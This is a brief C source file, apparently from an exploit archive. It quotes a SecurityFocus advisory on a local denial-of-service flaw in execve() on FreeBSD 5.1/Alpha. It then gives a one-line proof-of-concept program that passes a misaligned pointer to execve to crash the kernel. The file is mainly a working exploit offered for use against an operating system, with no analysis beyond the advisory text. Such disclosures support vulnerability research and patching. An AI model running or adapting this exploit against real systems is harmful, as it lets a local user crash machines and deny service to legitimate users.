/*
source: https://www.securityfocus.com/bid/10596/info
It is reported that FreeBSD running on the Alpha architecture is susceptible to a denial of service vulnerability in its execve() system call.
An attacker with local interactive user-level access on an affected machine is reportedly able to crash FreeBSD when running on the Alpha architecture, denying service to legitimate users.
FreeBSD 5.1-RELEASE/Alpha is reported vulnerable, other architectures with strict memory alignment requirements are also likely vulnerable. IA32 is reported immune. Versions other than 5.1-RELEASE are likely affected as well.
*/
/*
* FreeBSD/Alpha local DoS
* by Marceta Milos
* root@marcetam.net
*
*/
char main() { execve("/bin/ls",(int *)(main + 1), 0); }